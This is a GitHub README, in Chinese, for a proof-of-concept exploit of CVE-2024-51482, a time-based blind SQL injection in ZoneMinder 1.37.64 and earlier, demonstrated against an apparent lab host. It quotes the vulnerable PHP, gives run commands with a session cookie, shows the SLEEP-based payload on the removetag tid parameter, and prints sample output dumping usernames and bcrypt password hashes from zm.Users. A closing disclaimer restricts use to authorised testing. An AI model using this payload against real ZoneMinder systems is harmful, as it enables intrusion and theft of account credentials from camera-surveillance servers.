c0gnit00/CVE-2024-51482
GitHub: c0gnit00/CVE-2024-51482
针对 ZoneMinder v1.37.64 及以下版本已认证时间盲注漏洞(CVE-2024-51482)的 PoC 利用脚本,通过二分查找从 zm.Users 表提取用户凭证。
Stars: 0 | Forks: 0
# CVE-2024-51482 — ZoneMinder 基于时间的盲注 SQL 注入
这是一个针对 **CVE-2024-51482** 的漏洞概念验证(PoC)利用程序。该漏洞是 **ZoneMinder v1.37.* ≤ 1.37.64** 中一个已认证的基于时间的盲注 SQL 注入漏洞。
该脚本通过基于 `SLEEP()` 的预言机,使用二分查找法从 `zm.Users` 表中提取用户名和密码哈希。
## 漏洞详情
`web/ajax/event.php` 中的 `removetag` 处理程序安全地对 `DELETE` 查询进行了参数化,但随后直接将用户可控的输入拼接到了后续的 `SELECT` 语句中:
```
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
```
`$tagId` 直接取自 `$_REQUEST['tid']` 且未经过滤,从而允许通过 `tid` 参数进行注入。
## 环境要求
- Python 3.8+
- `requests` (`pip install requests`)
- 来自已登录 ZoneMinder 账户的有效 `ZMSESSID` 会话 cookie
## 用法
```
python3 CVE-2024-51482.py --url --zmsessid
```
**参数:**
- `--url` — ZoneMinder 的基础 URL(例如 `http://cctv.htb/zm`)*(必填)*
- `--zmsessid` — `ZMSESSID` cookie 的值 *(必填)*
- `--sleep` — 用于基于时间推理的休眠秒数(默认:`3`)
- `--timeout` — 请求超时时间(秒)(默认:`sleep + 3`)
**示例:**
```
# 基础
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh
# 在低延迟网络上更快
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2
# 自定义 timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
```
### 获取会话 Cookie
登录 ZoneMinder,打开浏览器的开发者工具 (**F12**) -> **Application** -> **Cookies**,复制 `ZMSESSID` 的值。或者,在 Burp Suite 中拦截任意已认证的请求,并从 `Cookie` 标头中获取它。
## 输出结果
```
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!
[*] Dumping ZoneMinder Users...
[*] Counting rows in zm.Users...
[+] Found 3 user(s)
[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
==================================================
DUMP COMPLETE
==================================================
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
```
## 工作原理
1. **基线测试** — 发送一个干净的 `tid=1` 请求,以测量正常的响应时间。
2. **漏洞确认** — 注入 `SLEEP(2)` 并验证响应是否延迟 ≥2 秒。
3. **行数探测** — 对 `zm.Users` 进行二分查找 `COUNT(*)`,以确定存在的账户数量。
4. **数据提取** — 对于每个用户,通过二分查找逐个推算 `Username` 和 `Password` 中每个字符的 ASCII 值(每个字符约需 7 次请求,而线性扫描则需 95 次)。
**Payload 结构:**
```
GET /zm/index.php?view=request&request=event&action=removetag&tid=&id=1
1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE ) as dummy)
```
必须有 `id=1`,因为在易受攻击的 `SELECT` 语句之前执行的安全 `DELETE` 语句,如果没有它就会抛出 `500` 错误,从而在执行到注入点之前中断程序。
## 参考链接
- [CVE-2024-51482 — NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-51482)
- [ZoneMinder — event.php (1.37.63)](https://github.com/ZoneMinder/zoneminder/blob/1.37.63/web/ajax/event.php)
## 免责声明
本工具仅供**授权的安全测试和教育研究使用**。
在对非自身拥有的系统进行测试之前,请务必获得明确的书面许可。
对于因滥用本软件或由此造成的任何损害,作者不承担任何责任。
标签:CISA项目, POC, Python, ZoneMinder, 多线程, 无后门, 逆向工具